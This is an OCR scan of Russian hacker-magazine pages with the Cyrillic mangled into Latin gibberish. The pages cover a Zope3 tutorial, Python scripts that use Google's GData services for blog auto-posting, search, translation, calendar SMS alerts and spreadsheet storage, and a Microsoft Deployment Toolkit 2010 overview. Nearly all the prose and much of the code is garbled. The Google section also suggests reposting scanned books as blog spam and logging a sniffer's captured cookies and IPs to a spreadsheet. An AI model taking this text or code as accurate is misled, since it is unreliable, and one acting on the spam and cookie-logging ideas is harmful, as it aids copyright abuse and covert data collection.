MMarnka bin caita copepxMT Kog U KOMaHAHbIe Gaiibl 4ns 3a-
NycKa cUCTeMbI Ha McnonHenue (B yacThacTy, runzope.bat).
Manka etc conepKUT KOHGUTYPaLMOHHEIE Gaiinel caliTa.
Hanpumep, & daine etc/zope.conf xpaHaTca Bece HAacTpOMkn
cepeepa v basbl gaHHsIx. Cekuus server onpegenser nopTol
npotokana TCP/IP 8080 ans http-cepsepa u 8021 ansa FTP-
cepeepa. Cekuuns zodb onpenenaer pacnonoxeHue gaina
0bbeKTHOR Bazsl panHbix. Cekunn accesslog u eventlog
0nNpeaensioT MECTONONOXEHWE XYPHAN0E CalTa 19 Per1cTpa-
Lmm cobeituit. @aiins principals.zemlu securitypolicy.zeml
KOHGUTYpUPYIT NapaMeTphl A0NYLLEHHBIX NONb30BaTeNel
caiita [npuruunanos) v ux ponn. Maiin site.zeml — rasHbii
KOHOUIYpaLWOHHbBIA palin caiTa, € cCblkaMu Ha OTAeNbHbIe
pasgentl, cnpefenaoLime NeTani HaCTPoeK CUCTEMBI.

Manka etc\package-includes copepxuT Hebonslme hannbl Ha
azsike ZCML. OHu cnpeaensioT BRIOYEHUE PA3NMYHBIX NaKe-
TOB B TeKyLUYI0 koHDUIypauuo calita. Ira narka nonoaxseTcs
aAMWHUCTPATOpPaMK MK pa3paboTUMKaMmn HOBbIX KOMIOHEHT
npu HeobXogUMOCTH PaclIMPUTE GYHKLMOHANBHOCTE caiiTa.
[Nanka lib\python npenHasHayeHa Ans pazMelteHUs HoBbIX
NakeTos, 0NpeAenaiolmx ocobeHHoCTH AaHHoro caiTa. [ng
nogKkNYeHna nakera Heobxoarmo 4obaBNTL CCLIKY Ha Hero B
nanky etc\package-includes.

[Tanka log copepxuT gpaline xypHanos, NPOCMATP KOTOPLIX NO-
3BONAET 3AMUHWUCTPATOPY MM MPOrPaMMUCTY NPOHANU3NPO-
BaTb MNOCASL0BETEbHOCTE COBLITHIA U NPOBECTH AUATHOCTUKY
0W1BOK, BOZHWKAIOLLWX NP 0TNa/AKE HOBLIX NaKeToB.
[Tankavar copepxuT daiine ZODB.

ZOPE MANAGEMENT INTERFACE (ZMI)

Cpena Zope3 aBnaercs 0HOBPEMEHHO CETeBLIM CEPBEPOM

— nyBIUMKaTOpOM XpaHKMbIX Ha cepBepe B 0bbekTHO baze
A3HHbIX 3K3EMIAPES KOMNOHEHT 1 CpedcTBOM pa3paboTku
CeTeBkIX MpHAmKeHWiA. CeTeBble NpuoKeHus MaryT paspaba-
ThiBATHER Kak & pexume TTW (Yepes ceTs) c ucnonssosanuem
BolLLeynoMaAHyToro ZM|, Tak v B pexume cozganns dannos
npoexTa cpeacTeaMin Galinesoll cCUcTeMbI.

Yoke ynomnHanock, 4ta ZMI — ato nHTepdeiic ynpasnexms,
KOTOpSIF M038CASET YNPaBnaATs coAepximMuimM Zope. Kpome
TOTO, OH 26T BO3MOXHOCT IMHAMUYECKN Y PaBIaTL HaCTPO-
Kkamu cepeepa Bo Bpemd ero paboTsi (3aknaaka «Cepsep»). B
JIEBOM BEDXHEM YTy HAXOAMTCA HABWUIaTop — Uepapxnyeckas
cTpyKkTypa 0bbexTHO 6a3bl faHHbIX. B HeM npeacTasneHsl ase
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MNytb: [ocHoEHEA] f ++etc++process /

Haeurauuma YnpaeneHue

Bpema paboret

Ouei: 0, vacoe: 11:16:07

Windows Chiffa XP 5.1.2600

Development/Unknown

Bepcua Python
Crpoka 2anycka
CucTtemHas KoWpoEKa

cpl251

Kogupoeka fannoeoi CUCTEMbI

mbcs

WaeHTuibukaTop npouecca

3488

Pesxum pazpabotku
ff

O

Cxembl B

2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)]

D:wob\Hackerx_10_web_cherez_zope\Zope_projectibin\runzope

Mepesogbl Peructpauma

YEPE3 ZMIMOXHO NONYYNTb UHOOPMALIWIO 0 BANYLWEHHOM CEPBEPE

kaTerapurn 0BBEKTOB — NPOCTsIE 00BEKTH W KOHTEMRHEPL!. Hie pacnono-
KeHbl gpyrve bnoku, ekniovasn merio «[lobasuTs». OcTanbHyo YacTb 3KpaHa

3aHumMaeT paboyan 0bnacTh, B KOTOPOW NPOM3BOAATCA Pa3NUUHLIE ONepaL i

Hag obbekTamu.

HELLO, WORLD!

B kauecTee AeMOHCTPaLVMOHHOrO NPUMEPA HAMNWLLEM CTRaHMLY, KOTOpas Bbl-
soguT Haonwuce«Hello, world!».
1.Cozpaem gupektopuie and naketa: /lib/python/helloworld.
2.B Hei coznaem nycTon gain __init__.py (4toBel MuToH TpakToBan ee kak
naket).
3. Tyt xe cosnai gaiin browser.py co creayioLiMM CoOAepXUMbIM:
| zope.publisher.browser import BrowserView
& HelloView(BrowserView) :
f___call_(self):
<html>
<head>
<titlesHellec World</titlex
</head>
<body >
Hello, world!
</body>

</htmls"""

&, Peructpupyem naxet helloworld. ina atoro 8 aupekTtopuu etc/package-
includes coznagum dain hellow orld-configure.zeml, copepxallmil cTpoky:

<configure

xmlns="http://namespaces.zope.oxg/zope">
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<include package="helloworld" />

</configure>

5. Mocnefruil war — Hanucarue Korgura configure.zecml, KOTOPbIA HYXHO
Da3IMECTUTs B AMPEKTOPHN TONLKO 4To cozaaHHore naketa lib/python/
hellowerld. 3ot koHdwWr perucTprpyeT NpeLcTaBNeHWe CTPaHLb C UMEHEM
helloworld u 6TKpPBITEIMK NpaBaMK AOCTYNE, UCNONb3Y0LWEN 00bABNEHHLI A
Hamu knace HelloView:

<configure
xmlns="http://namespaces.zope.org/browser">
<page
forsi==n
name="helloworld"
permission="zope.Public"
class=".browser.HelloView"
/>
</configure>

6.3anyckaem cepeep 1 nepexogum no agpecy htip://localhost.8080)/

helloworld, NonxkHa 3arpy3nTses cTpaHuia ¢ Hagnuckio «Hello, world!»,

3AKNHOYEHUE

Zope — 0UeHb CONMAHLIA GPeiMBOPK, M B PAMKaX O[HOMN CTaTeW TPYAHO
YNOMAHYTE BCE Er0 BO3MOXHOCTH, HE FOBOPA 0 TOM, 4TODbI paccMoTpeTs
ux nogpobHo. Xovews 6onbwe? CoBeTyio NOCETHTL PECYPChI, yKa3aHHbIe
Ha nonax. TaM MOXHO HaklTW Napy HENNOXKUX CTaTel AN8 HaYMHALWINX.
[nA cepbesHoro uaydeHus a pekoMeHayto knury Cyxanosa «Beepenne 8
Zope3». Mpu Hebonswom obbeme B Hell paccCMaTPMBaIOTCH BCE OCHOBHbIE
KoHLernumn. KHury MoxHO HaliTu Ha aucke 3 B pazgene «Jlutepatypa»
Ynauu! =
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CepBMCbI A/IA XaKepa ...

0BJIAIEBAEM CEPBUCAMW METAKOPTIOPALIUH

C NOMOILLbH PYTHON'A

MHOIME HALIM KOJUETW HA3bIBAIOT GOOGLE «KOPTIOPALIMEH _

3J1A». C/IOMHbIA BOMPOC! IMYHO 5 HMYEFO NAOXOrO B JAHHO/A
OPFAHW3ALLWY HE BUXY, MOCKOIbKY OHA COBEPLIEHHO BECTIATHO
MPELOCTABARET YECTHBIM NPOTPAMMMCTAM MHOMECTBO NOAIE3HIX
CEPBMCOB 1 3AMEYATE/IbHBIN API 19 UX UCMOb30BAHHUS.

gquery.feed = ' /feeds/default/blogs'

SEO & BLOGSPOT feed = blogger_service.Get (query.TolUri () )

Mepepn Hauanom pabotsl ¢ Google cnerka nogrotoemumes, YyCTaHOBWE blog_id = feed.entry[0] .GetSelfLink() .href.

bubnuoteku GData v ElementTree [nwm ux Ha gucke). Yetanoeun? SplEE (W) [=1]

OTNWYHO, NOArOTOBMTENRHLIA 3TaN NpoiigeH. CaMoe BpeMA NOCTaBUTL

nepepn coboi nepeyo 2agayuy — noMods CEOWHMKaM € MX caTennmTamu, 3T1UM KOAOM B NepeMerHyio blog_id Mbl COXPaHKUK HYKHBIA MOEHTUM-

B Ka4eCTBe KOTOPbLIX MOXKHO MCMONb30BaTh NYr10BCKNIA BNOroXoCcTUHT Katop. XoTs CTOM, He 04eHbL-TO BCe 370 addekTuBHO. BaueM Kaxabli pas

Blogspot. 3aitaem Ha Hera [hitp://blogspol com) n coagagum Bnor, & Y3HaBaTh aNAMWHUK, ECNK OH He MeHAeTcy?

npumepy, hittp.//super-puper-hackerblogspot.com. ATeneps HanuwemM Kax sapuaHT, MoxHO 32TV Ha Bror, HaxaTk Ha KHOMKY «100aB1TE HOBbIN

KOf ANA aBTOMaTUYECKOro NocTUHra. Bo-nepebix, aBTOpU3NpyeMcs Ha nocT» 1, B pesyneTate, B bpaysepe noasuTca NpubnusuTensHo Takoi

blogspot’'e, nHuuranusunpys obbekT blogger_service: TekeT: www.blogger.com/post-create.g?bloglD=3344789329453358925.
[MocnepgHue uMdpbl 3TOro TeKcTa RBNAIOTCH MoeHTudrKkaTopoM Bora. A

n gdata im service Narnee Mbl Hanuiem Tak:

t gdata, atom
blog_id = 3344789329453358925

blogger_service =

service.GDataService('login@gmail.com', 'pass’) Teneps co3panum Halw noct kak obvekT gdata.GDataEntry, B koTopom
blogger_service.source = '] [akep' ycTaHoBUM cBocTRa title v content w 2anocTum ero Ha Baor MeTomoM
blogger_service.service = 'blogger' blogger_service.Post:
blogger_service.account_type = 'GOOGLE'
blogger_service.server = 'www.blogger.com' title = "TITLE"
blogger_service.ProgrammaticLogin() text = "TEXT"
HoyHawero akkayHTa MoxeT BbTb Heckonbko bnoros, KOTOpble ono- entry = gdata.GDataEnbtry ()

3HaTCA cneunanbHelM aeHTUgKUkaTopoM. Monpabyem nonyunTs id
nepeoro bnora: entry.title = atom.Title{'xhtml', title)
entry.content = atom.Content (content_ type='html',

guery = service.Query () text=text)
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Talk
OBuwaiiTeck B Yate 1 3BOHNTE OPY3bAM Yepea KoMMNbHKTep

YouTube
CroTpute Bugeo, nyBnukyinTe camu u 0TNPaBNARTE ApY3bAM

HEKOTOPBIE ®AKTbI O GO

Google Inc. —amepHKaHCcKaA KOMIIaHHA, BaJeomas IepEok 110
nony/spHocTH (77,04 %) B MUpe NOHMCKOBOI chcTeMoi Google, 06-
pabarsiBarotueii 41 Mipz. 345 MAH. 3aTPOCOB B MECATL,

Google — camelii Joporoii Openy B Mupe. PhIHOYHAA KAMHTaTU3AIHSA
KOMIMAHWH COCTABIAET TpUMepHO 160 MIpA. ZOMIL.

Google nonumaer 6onee 100 a3p1k0B. Kpome pycckoro, yKpanHCKoro,
AHIIMHCKOTO, TPEYeCKOro, TaThIHH, [3IBCKOTO, XMH/H, 3y/TyCCKOTo,
SCIEPAHTO, EPCH/ICKOT0, apabCcKoTo, UBPHTA, U MHOTHX APYTHX
s13bIKOB, Google Taroke MoHKMaeT A3bIK 1oBapa Bopk-Bopk-Bopka u3
«MarnmeT-Imoy», 361K packl MHOIUTAHETAH ¢ T1aHeTs! KiTMHroH, mepeo-
naxeii cepuana Star Trek, Hapeune 3nmepa @yza (M3 MyIETHKA PO
Barca BaHHH) ¥ ipeBHAN [OJTYIIYy TOUHBIH XaKepekuit asbik leet.

Buj Magarackapckix MypaBsbeB Proceratium google GbUI Ha3BaH B
gecTs cepsrca Google Earth, KoTophIi HOMOr OTKPBIBATENIO B €10
MCCIeI0BaHAAX. ANTOPUTM PaHKIPOBanyA Hassan Page Ranl, ne ot
cniora Page (crpanuia), a ot damwmin Jlappu [Teika — ofHOTO M3
ocHoBareneit Google.
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wrllih.urlencade (] Foillls sl S BRI SN
data=urllib.urlencode({'hl': 'en', 'ie': 'UTF8',
‘text': text.encode('utf-8'),
R S B B R e 1 B

blogger_service.Post (entry, '/feeds/%s/posts/

default® % blog_id)

Menonbays 3T0T KO, Thl MOXellb B3ATE 0TCKAHWPOBAHHKEIR TEKCT KaKoWH-
HUBYAb KHWTM U PerynapHO MOCTUTL N0 CTPaHMYKe U3 Hee Ha bnor, Tem
CaMbIM NoNyYasn YHUKaNbHbI KOHTERT. Ho 8 nyyLie npeanoxy opyroi
BAPWaHT, @ MMeHHO — nonck yepes Google aHrNMiACKKX TeKCTOB onpeje-
NEHHOM TEMATUKX C NOCNEAYILLMM NEPEBOAOM X Ha PYCCKMIA.

NMOUCK

Wrak, npumemcs 2a novck. 3T0 MOXHO CAENATL Hepe3 PeryNapku 1 ofuH
3aMpoc, Ho K YEMY HaNpAraThbCe, KONNErn-nporpaMMepsl Bce aBHo pea-
nu3osanu. Mel MoxeM ckadaTh BubnuoTery xgoogle [Ha fucke oHa ecTs),
1 WCNonb30BaTh BCero Wb oauH obbekT GoogleSearch, kotopamy npu
CO3[4aHWK HYXKHO MepeaaTe NOWCKOBLIA 3aNPoC, @ 3aTeM — C LWKWKOM MC-
nofb30BaTh AN NapcuHra ctpaHuy MeTog get results no Tex nop, noxa
oH OyfeT Bo3Bpallate pesynbrar. B koneyHom cueTte ko byaet BoirnaneTs
cnegywouwmm obpasom:

from xgoogle.search import GoogleSearch
gs = GoogleSearch("presidentua")
results = gs.get_results()
results:
res in results:
print res.url
results

()

results = gs.get__

NMEPEBOA

WTak, cTpaHuubl MonydeHbl, TEKCT — HanapceH. A Tenepb nepeinem K
nepesogy v BcnomHnm Google Translate. B stom ceppuce Takke ecTb
APl gna pocTyna, Ho oH peannu3oBaH Ha ocHoBe JavaScript-6ubaunoteky,
noaToMy NONy4aeTca, 470 HaM ONATE HETO-TO He xsartaeT. Hanwwem He-
A0CTalLlee CaMoCTOATENLHO, NOCKONLKY NIoboMY xakepy ByneT nonezuxo
u3yunTh nuby ana napcuHra HTML B nuue BeautifulSoup. CHauana
MoAYYMM CTPAHKLY, UCNONb3Ys Opener u3 cCTaHAapTHol brubnuoTekn
urllib2:

opener = urllib2.build_opener|()

opener .addheaders = [('User-agent', ']lakep /0.1')]

translated_page = opener.open/(
"http://translate.google.com/translate_t?" +

XAKEP 10 /130/ 09

B Hayane koja Mbl cO34aeM Opener, a 3aTem — ycraHaenueaem User-
agent (6e3 103ep-areHTa ryrn nepeeoanTh 0TkaxeTcs ). PUHANLHBIM
aKKopAOM Mbl MCMONHSEEM 3aMpoc, NepejaemM BCe NapameTpsl, 0pUeHTH-
pysick 13 APl Google:

® 5| — c Kakoro A3bika nepeBognuM?

e tl — a Ha kakon?

® hl — A3bIK UHTepbelca, 2TOT NapaMeTp HaM HeBaXKeH, MO3TOMY NyCTb
Bcerga byget ‘en’.

sje — kogupoBKa TekcTa. KoHeuHo e, ncnonbayem utf-8.

° text — nepeBOAUMBINA TEKCT.

Mocne 3aBeplueHKa 3anpoca B nepeMeHHyio translated_page namectut-
css HTML-kon, v BoT 470651 N3BNEYb M3 HETO YUCTHIM TEKCT, Mbl MCNOMNbL3Y-
em BeautifulSoup. Cozgaanm ero obnekT:

translated_soup = BeautifulSoup(translated_page)

Teneps 13 nepemerHoi translated_soup Mbl MOXeM BLITAHYTL HeobX0-
AMMble faHHsle. HanpuMep, Mol TOYHO 3HaEM, YTO NepeBefeHHbIR TekcT
HaxoauTes B div-3nemerte HTML na c ugentndukatopom result_box;
Ctano BbiTh, HYXHbIA NepeBOJ Mbl BEITAHEM CTPOKON:

translated soup('div', id='result_box"') [0].string
LHO MOYUTATE Ha 0bULMaNbLHOM

Boobuie, o BeautifulSoup coeetyio otpen

caiTe www crummy.com/softw iulifulSoup. Moeeps, ata nuba

cnocofiHa 4pe3BbIHaiHo yNpocTUTE Tebe XU3Hb.

OMNEPA — HE BCEIT'1A BPAY3EP

Hy, Bce, xsatuT nomorate CEOWHWkam, senb yrn noneseH n gpyrum
NPefcTaBUTENSIM XaK-CLieHbI. [TOCMOTPKUM Ha COTPYAHMKOB MUNULMK, OHN
BRafeIT 2KTYyanbHOK MHGOpMaUKeR U NOTOMY cnocalHbl K onepaTraHoMy
pearnpoBanwuio. He Byaem oT Hux aTcTasats! [pefcrasum cutyayuio,

npu KaTopoi y Teba ecTs cHdeD, ¥ HYXHO NONY4UTh AOCTYN K CaNTY,
KOTOPBIA XpaHUT CECCUIO BCero Nuis nonyaca. [anydaeTcs, 4To Teneps
Tebe npuaeTca 6e30TpLIBHO TOPHATE 33 KOMNOM, 4TOBLI BbITh FOTOBEIM
BOCMONL30BATLCA CUTYaUMeR? BripBaTbcs n3 pabcTea HaM namoxeT
TefedoH, KOTOPLIA BCErAa Nof PyKo# M FOTOB HAC NOPafoBaTh SMS-KOM,
cofepxallei akTyanbHylo vHGopMauwio, Ho oTNpaBnaTh CMCKM 3a4acTyio
HE TAK-TO NMPOCTO, TAK Kak Ha HecnnaTHbIX cepBucax HaM Mellaet Kan4a.

M 3pecs Toxe nomoxeT [yrn, cozgaslunii 3ameydaTensHsln Kanengaps,
N03BONAWLLMIA U3BEWATE 0 CoBLITMsIX nocpepctaoM CMC. 3Ty pudy mMbl n
2aKzaem.

3aX0pWM Ha MyrnoKaneraaps v B HACTPOKax ykassieaem TenedoH, a
Takxke cnocob yBegoMaerra o coDLITUAX — CTABMM «3a OfHY MUHYTY A0
cobeina nocnats CMC».
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GOOGLE SPREADSHEET

Google calendar [ Saareh Wiy Calensiors | stownoseer mwie,
Yout aveal was crested.
Creats Event EAEE Aug 3 - Sop 5, 2008 Hatesl Pt Duy Week Mspin 7Dsys Agends
i 31 Tim sy Wea 3w Theth Fan e L
e T
My ealendis
AT
-
P
i o
w Other calendars.
GOOGLE CALENDAR

* Caitbubnuore-
ku Beautiful Soup:

DVD

» dvd

L] KOMMEHTMPOEEIHHHS

UCXOOHUKK U KyYa

HULUTAKOB OT aBTOpa
KaK BCerga xayrTebs
Ha Hawem Mera-DVD.

e K KayKOon cTatee A
CHUMAID MArNeHsEKoe

BUOEO, N 3Ta HE CTaHeT
vcknioYeHuem. CMoTpr
ero ¢ Hawero auckal
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Tenepk nepeigem k nporpaMme, rae cHayana HyKHo aBTo-
PU3MpCBaTHER:

calendar_service = gdata.calendar.service.
CalendarService()
calendar_service.emall = 'spirt40€@gmail.
com'
calendar_service.password =

"1 lakep’

'MOW TIaponk’
calendar_service.source =
calendar_service.ProgrammaticLogin()

Hanee nobasnsem cobuitre:
text = '"Texxxt'

text += ' $s:%s'%(time.localtime() [3],

time.localtime () [4]+2)

event = gdata.calendar.CalendarEventEntry ()
event.content = atom.Content (text=text)
event .quick_add = gdata.calendar.\

QuickAdd(value="'true')

new_event = calendar_serviceInsertEvent (
event ,

'/calendar/feeds/default/private/full')

TNuuka 7 3TMM cnocoboM MoNb3yCh OYEHL JABKO, Hero
nTeba COBETYIO. KCTBTVI, CKOPD OH MOXKeT !'lOTEp‘FlTI: CBOIO
akTyanbHOCTs, Befk [yr aHOHCUPOBaN cBoero «yBuii-
Ly ckafina», B paMkax koToporo Bpoge bel obellanTcs

R W e e

HEBO0JIbLLOW CMTUCOK CEPBMCOB
OT GOOGLE

HecnnatHele coobuleHus Ha Bce Homepa. Ho go atoro

Cle OXUTb HYXKHO, a NoKa nasai ﬁyaeM No/b30BaThCy

KaneHgapew.

TABJIULLbI

ArOe TBOM CKPUNTbl XpaHAT CBOM JaHHble? Ha xocTnHre?

Aecnu ero 3asTpa 3akpoioT? [laBai Harinem eMy 3a-

meHy 8 Buge Spreadsheels — ryrnotabnuy. Ona atoro
p google
HoBYI0 Tabnuuy v 06A3aTeNbHO NOCMOTPY Ha ee Kod.

readsheets .0, co3naw

3anam Ha hit

readsheels.google.com/

Hanpumep, ,qnﬂ URL http://s
cc?key=tL gi8

TOro, 47006l 3HATL, € Kakok Tabauueil pabotaTe. [Janee B

NEPEON CTPOYKE Mbl YCTAHOBWM Ha3saHue cTonbyos. Ecnn
370 cHUEp, TO UX MOXHO Ha3BaTk ip, User-agent, cookie
unu 4To-Hnbyas B 3ToM pode. na AeMOHCTPa UMM § Ha3Ban
cTonbei first v second. Tenepb, Nnocne koga asTopr3aUli Ha

ryrne, Mol C¢)DDMMD)”EM WCX0AHbIE O3HHbIE:

key = 'tLgt8Y4YaQyge8DrRBcxS-g'
wksht_id = '1°'

data = {
‘Eirst s first datal
‘second': 'second, some text'

3peck B Havane et Ko caMmon Tabnuubl, a nanee — MoeH-
TUOUKETOP NIUCTE M MACCUB, ME B KAYECTEE MHAEKCA 3Ne-

3 =2 kopomM byaer
tthSYAYaqueBDrRchS g. MﬂEHTM¢MKaTOp HY><EH ana

MEHTOB MPUCYTCTBYET Ha3BaHWe KONOHOK B Tabnuue. Tenepb

BCE 3TO X03AWCTBO MOXKHO ByaeT coxpaHuTs B Baze:

gd_client.InsertRow(data, key, wksht_id)

3TO KOHEL?

Kak MM, Google MOXeT NOMOYbL HEM B O4EHE MHOTWX
cnysanx. [loka, nepedpazvpys uzBecTHoro dunccoda, Mol
KWL cobpanu kamellkn Ha bepery 0keaHa BOSMOXHOCTE

ryrnocepBunCOB.
® Mol He pacCMOTPeNny FyrnonoyuTy, AaKLLY0 A0CTATOYHO
MecTa Ans xpaHeHua Gainos.

* A He pacckasan Tebe o Google Maps, c NoMOLLbIC KGTOPOTO

MOXHO BVOETE Ha KapTe, HaanMep‘ roe 683L4pleTCF[ nmonn,

nonzewMecd s ceTM TBoero CHIAq)EpB.

® H 3/10CTHO COKPBIN MHDOPMALIMK 0 MOLHERWEaM Google
App Engine. Knpumepy, Ha ero ocHoBe ¢ noMowbio Python

u Django moxHo caenath cHudep, KoTopblid BypeT Bcio

uHbopMaLmo xparuTe B base BigTable, BbinepxuT Thica4m

MOAKITIOYEHW M HE YyNYCTWUT HW efWHOro 3anpocal

Kak Tel NOHKMMaellb, BCE 3T0 — TeMbl AN§ OTAeNbHbIX CTa-
Tei. MoxeT BoiTh, C HUMUK Mbl MO3HaKoMKUM Tebs nosxe.
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Microsoft Deployment Toolkit 2010: pewueHue ansa opraHusauum
npoctoro pasBepTbiBaHuss Windows-cucTeM v npuaoxXeHUM

YcTaHoBKa onepaumroHHbBIX CUCTEM CO BCEMMU ﬂ,paﬁaBepaMM, nard4aMit M rnpmn-

JIOKEHUAMU Ha bofbLLIOE KOTMYECTBO KOMIMbOTEPOB JIOKanbHOW ceTu — 00~

BOJIbHO MOHOTOHHaA N TPyAOEMKAA 3ala4d, KOTOPdHA cnocobHa BorHaTh B

YHbIHME Aaxe camoro Tpynontobusoro agmMmnHa. CnacatenbHOM LWAONKOW MO-

XeT cTate MHCTpyMeHTapui Microsoft Deployment Toolkit 2010, no3sonsio-

LM aBTOMaTM3npoBaTh npoueaypy ycraHosku OC Windows n npunoxeHui,

a Takxxe ynpocTuTb MaccoByto Murpaumio ¢ Win2k/WinXP Ha Vista/Seven.

SHAKOMMMCH C MDT MDT Bripoc u3 Habopa
Business Desktop Deployment, IpH3BaHHOTO MaK-
CHMAalbHO 001U Th Pa3BePThIBaHHE OOIBIIOTO
qucna kaueHTcknx OC. [Tepsbie Bepery BDD
CMPABIBUIMCE TOMBKO € yeTaHOBKOH WinXP, e BDD
2007 paspaborumrky fobaBuu moaaepxKy Vista
u Office 2007. Yepea rog BDD moy4mI HOBbIE
BO3MOKHOCTH (¥13 OCHOBHBIX OTMEYY TOJIBKO
uHTerpatHio c WDS 1 SCCM 2007) 1 cMeHun
unms Ha MDT 2008. C nosB/ieHHeM HOBBIX BePCHH
Windows ceeryeuaen MDT 2008 Update 1 1, na-
KoHell, B ceHTs6pe 2009 roga seimern peis MDT
2010, obecrieunBarolii yeraHOBKY (06HOBIE-
Hue) WinXPSP3, Vista SP1, Win2k3R2, Win7u
Win2k8/R2 (2k3 Tonbko i x86), npuiokeHmit
Office 2007 u SQL Server 2008. MIHCTpyMeHTEI
MDT no3BOJIAIOT YIIPABIATE ApaiBepaMu, 06HOB-
JIeHHAMH, A3BIKOBEIMH [TAKETAMH, YITAKOBLIBATh
M YCTAHABIHEATh, B IPHHIIKIIE, TI06kIE TPHIosKe-
HusL. [l ympasaenua pacrpoiikamu MS Office

B MDT 2010 sirogen Office Customization Tool
(OCT), npH noMolI# KOToporo cosaaeTces MSP-
<aiin HacTpoek, MCroAb3yeMBIH TPH YCTAHOBKe
win obHoBaennu Office 2007 ¢ 3aiaHHBIMHA
napaMeTpaMi. OcTanbHbIe TPHI0KEHHA MOKHO
HACTPAHBATh, 33/jaBast KIIF0UH KOMaHIHOH
CTPOKH.

BMDT 2010 yny4ireHa TPOH3BOAHTETBHOCTE,
ONITHMU3UPOBaHa MOJIeJTb YIIPABJIeHHs, Telephb
MOMCHO PYKOBO/JIMTE YCTAaHOBKOH CJIE000T0 MecTa,

[JIaBHOE — HamyKe B cucteme MDT 1 cooTBeTCT-
BYIOIIMX IIPaR Ha CeTeBble pecypest. [l yrpoire-
HMs1 HACTPOEK MCIOAb3YIOTCA IPOoGIIIN U
repapxuuecKue aneMeHTsl. [logaepixka
PowerShell nozeonger aBTOMaTH3HPOBATE MHO-
THe 3a/la4H [IPH IOMOIIH CKPUIITOB. BaykHo Takske
otMeTHTE, 910 MDT 2010 MoxeT 0OHOBJIATH
chcTeMBl, ucronsayoue BitLocker, 6e3 pacirmdg-
POBKM JKECTKOTO MCKA, UTO MO3BOJIAET 3AIIHTHTD
KOHQHIeHITHANEHYIO HHbOPMALIIO H TAPOJIH.
Hopas Bepcra TpebyeT 6oekommrekT «WAIK 2.0 s
Windows 7», O3B0 TPOBOAMTE TOATO-
TOBKY M aBTOMAaTH3UPOBAHHOE PA3BEPTLIBAHMIE
Win2k8R2 1 Win7. B aero y:ke Bcrpoens WinPE 3.0
1 Windows User State Migration Toolkit 4.0 (USMT,
obecrieurBaeT nepeMeleHHe MoJIb30BaTeIbCKOTo
TPOQHIA 1 JaHHBIX BO BpeMA IlepeXofia Ha IPYTYIO
0C), MO3TOMY OT/IEIBHO MX CKATUBATE HE HYIKHO.
Tarcke B coctas WAIK i HoBex OC (Win2k8R2,
Seven) BXOAUT HOBBIA UHCTpyMeHT DISM
(Deployment Image Servicing and Management),
yMmetomu paborats ¢ ofpazava WIM (Windows
Imaging Format) u WinPE, 3aMeHsA MHOKeCTBO
YTHINT U3 peArrynmx seperit Windows AIK—
Package Manager (Pkgmgr.exe), International
Settings Configuration Tool (intlefg.exe) mWindows
Preinstallation Environment (PEimg.exe). Kpome
Toro, MDT 2010 Mo<eT coBMecTHO paboTars c:

e Application Compatibility Toolkit (ACT) -
HCIIONIb3YEeTCA AJIA HPOBEPKH COBMECTHMOC-

T npuaoxenuii c OC Windows;

* Microsoft Assessmentand Planning Toolkit
(MAP) —ucnonsayercs /19 ONpeeieHHs COCTaBa
KOMIIBKOTEPA M BEIZAYH PEKOMEHAAIHI 10
BO3MO;KHOCTH IPOBeJeHHA alrpeizia Ha HOBYIO
eepcrio Windows.

Daiine A1 pasBepTHBAHIA TellePh MOXKHO
XPaHHUTE He TOJIbKO Ha IOKAIBHOM AUCKE HIIHA
CETEBOM KATAIOre, HO H 38 JeHCTBOBATE BO3MOXK-
HOCTH pacnpeeneHHOH ainioBoi cucrembl DES
(Distributed File System, mogpo6Hee cMOTPH B
- 12_2007). Jna HacTpoek 3arpy3unka MDT
2010 o6pamaerca k yrrmpre BCDEdit (8 MDT
2008 Update 1 — BitLocker Drive Preparation
Tool, BdeHdCfg.exe). ITpu pabote ¢ ArckamMu
TYIKHT HCIIOIB3YET PEKOMEHYEMYTO A1t Win7
cxeMy pa3OMeHws, TO eCTh CO3AeT BA pas/ena,
UTO [MO3BOAET B A IBHEHIIEM AKTHBUPOBATH
BitLocker 6e3 THIIHHX TeNOABIDKEHHH. Pesyb-
Tarom padotet MDT 2010 apiserca cosganne
rOTOBBIX 3T PY309HLIX 06pasor B popmarax WIM
i [SO.

MDT 2010, Kax H IpeAbIIyIIHe BEPCHH, TOA/1ep-
JKHUBAET ABd BADHAHTA YCTAHOBKH:

» Light Touch Installation (LTI) — nozBonser
pazsepHyTs OC 13 06111 H TAKE FIIH APYTOTO
xpanmwmuma (DVD-guck, dasmxa U T.0L.), 6e33a-
JIeHCTBOBAHKA JOIOMHNATEBHBIX HHCTPYMEHTOB;
 Zero Touch Installation (ZTI) — pasBepTeBaHHe
[IPOH3BO/IMTCA C HCIIONb30BaHHEM BO3MOMKHOC-

> 110
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Tei SCCM 2007 (SMS 2003 yxxe He nnogzaep:xuBaerca MDT 2010).

LTI MeaabHO HOAXOAHT /151 HEOOMBIIMX H CPETHIX OPraHH3aIHii, B
KOTOPHIX HY:KHO BBICTPO pasBepHyTh 6oblIoe konuvecTBo OC. YeTaHoBKa
CHCTEM MOJKET IIPOM3BOAUTLCA BPYUYHYIO, TO eCTh IoTpedyercs 3arpysxa
c3anucaHHoro Ha Auck ISO-obpaza, creHepuposanHoro MDT 2010. [Tpa
HaIM9HH cIy#0b! pazeepTeiBanna WDS BO3MOKHA aBTOMATHYECKAA
yeTaHoBKa cicTeM (o HacTpolike Windows Deployment Services yuTaii B
o 06_2007). Bee HoBunKH, noasuemyecs B MDT 2010, kak pas ¥ OTHOCAT-
cA kK LTI-BapuaHTy.

ZTlycTaHOBKa 0OBIYHO IIPOU3BOAUTCA B IIONHOCTIO ABTOMATHIECKOM
pexxkMMe, Tpollecc akTHRHpyeTes 160 SCCM, mibo WDS.

YCTAHOBKA MDT 2010 [ina pabotet MDT 2010 moHaZ00HTCA HECKOMBKO
KOMIIOHEHTOB:

Console (MMC)

icrosoft Management v3.0 (BXOmMT B CO-

2.0 nm noznHee ;
0y 2.0 or C

THHIECKON

B Win2k8R2 Bce 3TH KoMnoHeHTbl, Kpome WAIK, yxxe UMeroTCA, B APYTHX
Bepcrax OC HeKOTOpbLe U3 HUX [IPU/IeTCA J0YCTaHOBUTE. FEC/TH MCTIONb3yeT-
cs1 ZTI -ycTaHOBKa, TO BO3MOKHA paboTa 1 c panHei Bepcrei; WAIK 1.0, LTI
TpebyeT HekmounTenpHo WAIK 2.0,

Cnncok OC, Ha KOTOPEIX MoxHO yeTaHoBHTE MDT 2010, BriitouaeT Bee
